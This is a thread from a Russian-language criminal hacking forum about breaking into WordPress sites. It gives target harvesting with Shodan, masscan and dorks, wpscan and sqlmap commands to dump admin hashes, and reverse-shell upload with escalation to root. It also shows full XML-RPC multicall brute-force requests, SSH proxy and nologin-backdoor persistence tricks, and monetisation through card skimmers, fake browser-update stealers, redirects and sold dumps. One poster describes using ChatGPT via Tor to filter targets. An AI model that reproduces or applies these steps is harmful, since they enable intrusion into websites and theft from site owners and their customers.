• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Ломаем сайты на WordPress

--password-attack xmlrpc
да, без xmlrpc (через форму) можно вечность подбирать, так как по одному, а вот xmlrpc умеет "пачками" пассворды тестить.
 
да, без xmlrpc (через форму) можно вечность подбирать, так как по одному, а вот xmlrpc умеет "пачками" пассворды тестить.
Yes, without xmlrpc (through the form) you can pick up forever, since one at a time, but xmlrpc can test "packs" of passwords.
as far as i know xmlrpc calls are ultra fast, i read 500 call in one request or something.
Screenshot 2025-01-20 114402.png


is it normal here that my wpscan brute showing 509 in 2 minutes?, i expected more
 
Считаю, что статья получилась очень короткой, а продолжения, видимо, не будет.

Начнём с того, что как получить таргеты с вордпрессом?
1. Shodan - вбиваешь wordpress, получаешь список сайтов с wordpress'ом.
2. Reverse dns - прогоняешь ip диапазоны через masscan или nmap на порт 443, 80. На этом этапе лучше заранее убрать лишние ip диапазоны, например клауды амазона (ip-ranges.amazonaws[.]com/ip-ranges.json). Когда у тебя наберётся достаточное количество ip адресов, то можешь уже получать домены (nslookup). Теперь домены кидаешь в cmsdetector(если ты кодер, то лучше напиши свой чекер для cms, чем тратить своё время на этот софт).
3. Google-dorks - тут ничего сложного нет. Вбиваешь гугл дорки (index of" inurl:wp-content/; inurl:"/wp-content/plugins/wp-shopping-cart/"; inurl:wp-content/plugins/wp-dbmanager/)и получаешь таргеты (можешь дорки брать с гитхаба /Proviesec/google-dorks/blob/main/cms/google-dorks-for-wordpress.txt).
4. Купить базу с wp сайтами - просто купить у селлера базу(гениально).
5. Взять с раздачи - способ для извращенцев. Почему? Да потому что мало того, что ты своими маленькими потными ручками засоряешь логи, так ещё таких, как ты целая сотня, желающих получить лакомый кусочек админки.

Таргеты есть, а что дальше?
А дальше - зима
Дальше выбираем, как будем ломать.
В статье уже написано, что тут два варианта - "горизонтальный" и "вертикальный". Разберём каждый из них:

1. Горизонтальный - рассчитан на массовую атаку. Берёшь готовый эксплоит (github, exploitdb) под уязвимый плагин, тему или версию wordpress и запускаешь проверяться свой targets.txt. Если ты умеешь кодить, то это ещё лучше, ведь большинство эксплоитов работает криво и не рассчитаны на проверку нескольких сайтов. Ничего интересного в этом не вижу, хотя... если у тебя есть 0-day, то с этим уже можно работать(очень хорошо работать). Как вариант, можно брутить админки wp(гениальность не предел), через софтину, только вот какой профит с этого будет? На вкусных таргетах 80% стоит плагин от брута, а нулёвки у тебя никто не будет брать.

2. Вертикальный - рассчитан на одиночную атаку. Как происходит весь процесс? Ты нашёл хороший шоп c высокой посещаемостью. Мы уже знаем, что это wordpress, поэтому чекнем его через впску(а лучше бы и ручками) "wpscan --url example.com - ap --rua -o scan_result.txt --api-token --disable-tls-checks" (ключик доставай с офф сайта впски, 25 токенов). Агрессивное сканирование плагинов не ставим, если WAF работает на сайте. После скана смотрим результаты. В моём примере была найдена уязвимость SQLi(вымирающий вид) time-based. Запускаем sqlmap "sqlmap --url 'example.com' -p параметр --random-agent --risk 3 --batch". Топаем в табличку wp_users, дампим user'ки и pass'ы "sqlmap --url 'example.com' -p параметр --random-agent --risk 3 -D wordpress -T wp_users --batch". Отправляем хеши на брут > получаем пасс админа > вводим пасс и юзер админа > победа? А вот и нет! Стоит 2FA, поэтому войти, как обычно это бывает, не получается, но на этом не останавливаемся.
Качаем плагины, тему, вордпресс и поднимаем у себя для тестирования(изначально нужно было так и поступить, а не ковырять sqli). Спустя 30 минут тыканья по плагинам, нашёл file uploud(удивительно, с учётом того, что стоит 2FA). Пробуем залить реверс-шелл и... Получаем шелл! Что с ним делаем? Ищем, как подняться до юзерки или рута. После нескольких минут анализа хоста (linux) и файлов, я всё-таки сумел подключиться по ssh и подняться до рута (спасибо одному человеку на форуме), после чего убрать плагин 2FA.

^Это и называется вертикальный взлом жопы. Суть в том, чтобы отработать 1 таргет, но зато какой. Конечно, это был простой таргет и в жизни такие редко встретишь, ведь бывает, что ты уже сдампил базу, а вот сбрутить хеш никак не получается, после чего приходится слать админу письмо аля в плагине обнаружена уязвимость, срочно обновите скачав по ссылке ниже или что-то в этом роде.


Ну получили мы доступ, что делаем дальше?
Продать доступ, поставить сниффер(если это шоп), поставить баннер с "обновлением браузера", сделать прокси(если есть рут) и т.д., но! Пожалуйста, никогда не ставьте майнер, ведь это очень сильно палится + живёт недолго, тем самым вы потратите только своё время.

Я бы мог и дальше продолжить, чтобы расписать поподробнее каждый пункт (установка сниффера, поднятие до рут, получение доступа), но слишком устал, да и комментарий будет длинным. Статья получилась +- нормально, считаю, что показаны лишь базовые вещи, было бы приятно увидеть статью "ОТ и ДО получения доступа".
 
i read 500 call in one request or something.
Вот только мультиколл корректно работает до версии 4.4 включительно. При запуске перебора через мультиколл на поздних версиях WP перебор то как бы идет, но валидный пароль не будет найден в любом случае, даже если он есть в вашем словаре.
 
Качаем плагины, тему, вордпресс и поднимаем у себя для тестирования(изначально нужно было так и поступить, а не ковырять sqli).
Да! Браво! Очень хорошо что ещё кто-то это понимает (Вы) и главное доводит до новичков этот правильный подход - не шуметь на таргете, а в VM поковыряться у себя и потом "снайперский выстрел" ! :)
 
сделать прокси(если есть рут)
не обязательно рута, достаточно любого юзера с ssh доступом. самое прикольное, что даже ставить на таргет ничего не требуется! делается ssh user@host.tld -D 127.0.0.1:12345 и вот она родимая сокс5 прокся у тебя на локалосте с пробросом по защищёному каналу (ssh же, считай VPN себе сделал а не проксю) до таргета куда приконнектился по ssh, а оттуда уже "выныриешь" с тамошним IP разумеется. очень удобно. главное ничего не требуется ставить "палиться".

вишенка на торте: если сделать cp /bin/bash /sbin/nologin (см. чего обычно в /etc/passwd у более половины логинов в качестве шелла) , то суровому одмину будет невдомёк почему локальный демон вдруг подсоединился хрен пойми откуда, а зелёный одмин такое даже и вовсе не чухнет ;-)
 
Последнее редактирование:
поставить сниффер(если это шоп), поставить баннер с "обновлением браузера",
ой а можно ли про вот это вот, про "монетизацию" подробнее плиз? :)
 
Вот только мультиколл корректно работает до версии 4.4 включительно. При запуске перебора через мультиколл на поздних версиях WP перебор то как бы идет, но валидный пароль не будет найден в любом случае, даже если он есть в вашем словаре.
ах вот оно в чём дело то!... спасибо! моё почтение!
то есть через xmlrpc до WP 4.4 только брутить мультиколом получается? а wpscan как интересно брутит?... (я бы посмотрел конечо снифером, да некогда и лень)
 
ах вот оно в чём дело то!... спасибо! моё почтение!
то есть через xmlrpc до WP 4.4 только брутить мультиколом получается? а wpscan как интересно брутит?... (я бы посмотрел конечо снифером, да некогда и лень)
Если мультиколлом брутить на версиях выше 4.4, то на валидность проверяется только самый первый запрос, все остальные (хоть их там 500 у вас) - на валидность не чекаются и в любом случае будут отдавать ошибку о неверном пароле. Вот примеры на версии 6.7.1:

Запрос.
XML:
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <!-- Запрос #1 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>7O6QU!*Za1#v6Nwn4c</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
            <!-- Запрос #2 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password2</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
            <!-- Запрос #3 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password3</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

Ответ.
XML:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><array><data>
  <value><array><data>
  <value><struct>
  <member><name>isAdmin</name><value><boolean>1</boolean></value></member>
  <member><name>url</name><value><string>https://127.0.0.1/</string></value></member>
  <member><name>blogid</name><value><string>1</string></value></member>
  <member><name>blogName</name><value><string>Test</string></value></member>
  <member><name>xmlrpc</name><value><string>https://127.0.0.1/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value>
</data></array></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Неверное имя пользователя или пароль.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Неверное имя пользователя или пароль.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Теперь ставим наш валидный пароль в Запрос #2 и наблюдаем.
XML:
<methodCall>
  <methodName>system.multicall</methodName>
  <params>
    <param>
      <value>
        <array>
          <data>
            <!-- Запрос #1 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password1</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
            <!-- Запрос #2 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>7O6QU!*Za1#v6Nwn4c</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
            <!-- Запрос #3 -->
            <value>
              <struct>
                <member>
                  <name>methodName</name>
                  <value><string>wp.getUsersBlogs</string></value>
                </member>
                <member>
                  <name>params</name>
                  <value>
                    <array>
                      <data>
                        <value><string>admin</string></value>
                        <value><string>password3</string></value>
                      </data>
                    </array>
                  </value>
                </member>
              </struct>
            </value>
          </data>
        </array>
      </value>
    </param>
  </params>
</methodCall>

Ответ.
XML:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Неверное имя пользователя или пароль.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Неверное имя пользователя или пароль.</string></value></member>
</struct></value>
  <value><struct>
  <member><name>faultCode</name><value><int>403</int></value></member>
  <member><name>faultString</name><value><string>Неверное имя пользователя или пароль.</string></value></member>
</struct></value>
</data></array>
      </value>
    </param>
  </params>
</methodResponse>

Поэтому те кто брутит мультиколлом на версиях выше 4.4 - тратят свое время напрасно и только логи засирают на таргете. В таком случае остается только вариант брутить одинарными запросами --password-attack xmlrpc (при использовании wpscan и при условии что на таргете нет ни каких лимитов).
XML:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>

а wpscan как интересно брутит?
При использовании --password-attack xmlrpc-multicall брутит такими же multicall запросами как в моем посте, только толка от них нет если версия выше 4.4, как я ранее собственно и сказал.
 
ой а можно ли про вот это вот, про "монетизацию" подробнее плиз? :)
Могу лишь расписать кратко, как можно монетизировать. (если будет время, то напишу целую статью, как получить доступ и что с ним потом делать)

Как монетизировать доступ wp?
Вообще, тут всё зависит от самого продукта. Вариантов куча, распишем каждый из них:

1. Сниффер - если у тебя шоп, то это лучший вариант для монетизации. Нужен, чтобы собирать CC. Ставишь свой, после чего отрабатываешь мат(лучше всего, если в твоей команде уже есть кардеры для этого дела), либо отдаешь человеку на форуме за %.
2. Стиллер ("обновление браузера") - попался сайт с неплохим трафом? Тогда этот способ 100% подойдёт. Ставишь баннер с "обновлением браузера"(а лучше всего посмотреть популярные расширения за последний месяц и выбрать в качестве "устаревшей версии"), после чего вшиваем стиллер в кнопку download и ждём профит. (упустил моменты вроде человека в команде, который будет делать качественный крипт, кодер для стиллера и т.д.). Логи отдаем отрабам за %.
3. Редирект - тоже неплохой способ монетизации, если знаешь, как правильно встраивать скрипт. Тут несколько вариантов куда можно сливать трафф: на стиллер, дрейнер, казино, партнёрку и так далее.
4. Дамп базы - сдампить базу > отдать брутеру хеши > получить мат(хотя можешь просто собрать мыло и продать спамерам). На словах вроде и просто, но когда начнёшь этим заниматься, то поймёшь, что это далеко не так. Не все хеши можно сбрутить, особенно с солью. Базу со сбрученными хешами можно отдать отрабу, либо продавать доступ в "облако" c базами(как делал студент:D).
5. Proxy - есть доступ к хосту, то можно поднять proxy, после чего продать. Таким способом не пользовался, но знаю, что китайцам такое очень нужно.
6. Майнинг - самое противное, что можно придумать. Я уже выше писал почему это самый херовый способ монетизации.

А вообще, строитель уже всё сама расписала, как можно монетизировать веб-доступы(хоть и кратко), так что могу посоветовать прочитать пост /121014/post-853771/.
 
Есть кто реально успешно использует этот гайд? монетизирую ваши умения) пишите здесь или в тг @unk0vvnus3r
я просто не кодер и сложно разбираться в этом, но инструменты для монетизации имеются (не сниффер)
 
Могу лишь расписать кратко, как можно монетизировать. (если будет время, то напишу целую статью, как получить доступ и что с ним потом делать)

Как монетизировать доступ wp?
Вообще, тут всё зависит от самого продукта. Вариантов куча, распишем каждый из них:

1. Сниффер - если у тебя шоп, то это лучший вариант для монетизации. Нужен, чтобы собирать CC. Ставишь свой, после чего отрабатываешь мат(лучше всего, если в твоей команде уже есть кардеры для этого дела), либо отдаешь человеку на форуме за %.
2. Стиллер ("обновление браузера") - попался сайт с неплохим трафом? Тогда этот способ 100% подойдёт. Ставишь баннер с "обновлением браузера"(а лучше всего посмотреть популярные расширения за последний месяц и выбрать в качестве "устаревшей версии"), после чего вшиваем стиллер в кнопку download и ждём профит. (упустил моменты вроде человека в команде, который будет делать качественный крипт, кодер для стиллера и т.д.). Логи отдаем отрабам за %.
3. Редирект - тоже неплохой способ монетизации, если знаешь, как правильно встраивать скрипт. Тут несколько вариантов куда можно сливать трафф: на стиллер, дрейнер, казино, партнёрку и так далее.
4. Дамп базы - сдампить базу > отдать брутеру хеши > получить мат(хотя можешь просто собрать мыло и продать спамерам). На словах вроде и просто, но когда начнёшь этим заниматься, то поймёшь, что это далеко не так. Не все хеши можно сбрутить, особенно с солью. Базу со сбрученными хешами можно отдать отрабу, либо продавать доступ в "облако" c базами(как делал студент:D).
5. Proxy - есть доступ к хосту, то можно поднять proxy, после чего продать. Таким способом не пользовался, но знаю, что китайцам такое очень нужно.
6. Майнинг - самое противное, что можно придумать. Я уже выше писал почему это самый херовый способ монетизации.

А вообще, строитель уже всё сама расписала, как можно монетизировать веб-доступы(хоть и кратко), так что могу посоветовать прочитать пост /121014/post-853771/.
Привет. Скажи, есть какой-то элегантный фокус для отфильтровки сайтов, не относящихся особо к деньгам, оставляя только шопы? Я прям совсем новичок, недавно из кодинга в взлом полез, нужен совет
 
элегантный фокус для отфильтровки сайтов, не относящихся особо к деньгам, оставляя только шопы
это конечно скорее шутка, но в каждой шутке...

мне как-то недавно надо было отфильтровать тоже по другой тематике (криптообменники, причём на определённой именно технологии деланые)
ну я и спросил чатджипити, скормив ему список примеров, "как мне таких в интернете наискать (лови список) с помощью httpx? сформируй готовую командную строку!"
и он мне так-сяк -mr регулярками сварганил, я проверил на тестовом списке, проверил на куске полного чтоб не было false positives
в общем я к тому, что ИИ збс задачи фиьльтрации подсказывает как делать
(я юзал халявный chatgpt.com через Tor из приватного окна браузера, 100% бесплатно, анонимность ну так-сяк но там и "ничего такого" в запросе то)

думаю что у шопов можно регулярками -mr для httpx формы заказа находить по ключевикам
ну или конечно гугл доркать, тоже подход, но гугл парсить это та ещё отдельная тематика (а-парсер)
я предпочитаю "самоскан" гуглу где только можно им обойтись
 
это конечно скорее шутка, но в каждой шутке...

мне как-то недавно надо было отфильтровать тоже по другой тематике (криптообменники, причём на определённой именно технологии деланые)
ну я и спросил чатджипити, скормив ему список примеров, "как мне таких в интернете наискать (лови список) с помощью httpx? сформируй готовую командную строку!"
и он мне так-сяк -mr регулярками сварганил, я проверил на тестовом списке, проверил на куске полного чтоб не было false positives
в общем я к тому, что ИИ збс задачи фиьльтрации подсказывает как делать
(я юзал халявный chatgpt.com через Tor из приватного окна браузера, 100% бесплатно, анонимность ну так-сяк но там и "ничего такого" в запросе то)

думаю что у шопов можно регулярками -mr для httpx формы заказа находить по ключевикам
ну или конечно гугл доркать, тоже подход, но гугл парсить это та ещё отдельная тематика (а-парсер)
я предпочитаю "самоскан" гуглу где только можно им обойтись
А httpx может сразу чекать CMS и искать формы?
И еще, ты говоришь про гугл, неужели он по эффективности сравним с masscan > rDNS > (авто проверки)... ?
 
А httpx может сразу чекать CMS и искать формы?
И еще, ты говоришь про гугл, неужели он по эффективности сравним с masscan > rDNS > (авто проверки)... ?
Гугл дорки один из простых и тем не менее эффективных способов, при условии что сайты в индексацию попали конечно же. Я лично много интересного дорками находил, но парсить заманаешься, "мы её переводили через дорогу, но старушка сопротивлялась" как в анекдоте прям.
httpx и даже nuclei они "тупые" ну то есть они быстро-быстро перебирают правила, httpx он прям вообще лайтовый очень по сравнению c nuclei, но и быстрее, рекомендую для pre-filter, а перед ним masscan для pre-filter что там вообще 80 или 443 есть что-то (есть же домены без веб сервисов)
nuclei более гибок и если в него засовать разные кастомные шаблоны для детектов, то именно он по списку доменов (purecrawl) быстрее всего отыщет подходящие
а так-то можно хоть на питоне скриптик сделать, просто он будет меееедленнее... ;-)
 
Гугл дорки один из простых и тем не менее эффективных способов, при условии что сайты в индексацию попали конечно же. Я лично много интересного дорками находил, но парсить заманаешься, "мы её переводили через дорогу, но старушка сопротивлялась" как в анекдоте прям.
httpx и даже nuclei они "тупые" ну то есть они быстро-быстро перебирают правила, httpx он прям вообще лайтовый очень по сравнению c nuclei, но и быстрее, рекомендую для pre-filter, а перед ним masscan для pre-filter что там вообще 80 или 443 есть что-то (есть же домены без веб сервисов)
nuclei более гибок и если в него засовать разные кастомные шаблоны для детектов, то именно он по списку доменов (purecrawl) быстрее всего отыщет подходящие
а так-то можно хоть на питоне скриптик сделать, просто он будет меееедленнее... ;-)
Круто, запомнил, спасибо
 
Круто, запомнил, спасибо
ну это не круто ещё... это можно сказать "база"
очень рекомендую вообще тулы с projectdiscovery.io посмотреть, они на Go писаны и шустрые из-за goroutine (иначе то же самое можно на питоне напитонить побыстрому самому), там в том числе и примеры использования есть, а ещё они через пайпы стыкуются хорошо ну типа subfinder -d example.com | dnsx -a | и т.д. , не вот прям "серебряная пуля" - просто обычные хорошие добротные инструменты.
httpx и nuclei тоже они делали, как и subfinder и dnsx, ещё прекрасны naabu (но масскан лучше) и katana для краулинга.
 
ну это не круто ещё... это можно сказать "база"
очень рекомендую вообще тулы с projectdiscovery.io посмотреть, они на Go писаны и шустрые из-за goroutine (иначе то же самое можно на питоне напитонить побыстрому самому), там в том числе и примеры использования есть, а ещё они через пайпы стыкуются хорошо ну типа subfinder -d example.com | dnsx -a | и т.д. , не вот прям "серебряная пуля" - просто обычные хорошие добротные инструменты.
httpx и nuclei тоже они делали, как и subfinder и dnsx, ещё прекрасны naabu (но масскан лучше) и katana для краулинга.
А у тебя есть какие-то книги-мануалы по поверхностным скиллам, как понять, что перед тобой годный таргет и что имеет смысл ломать? У меня хороший бекграунд в айти, в хакинге я ноль
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх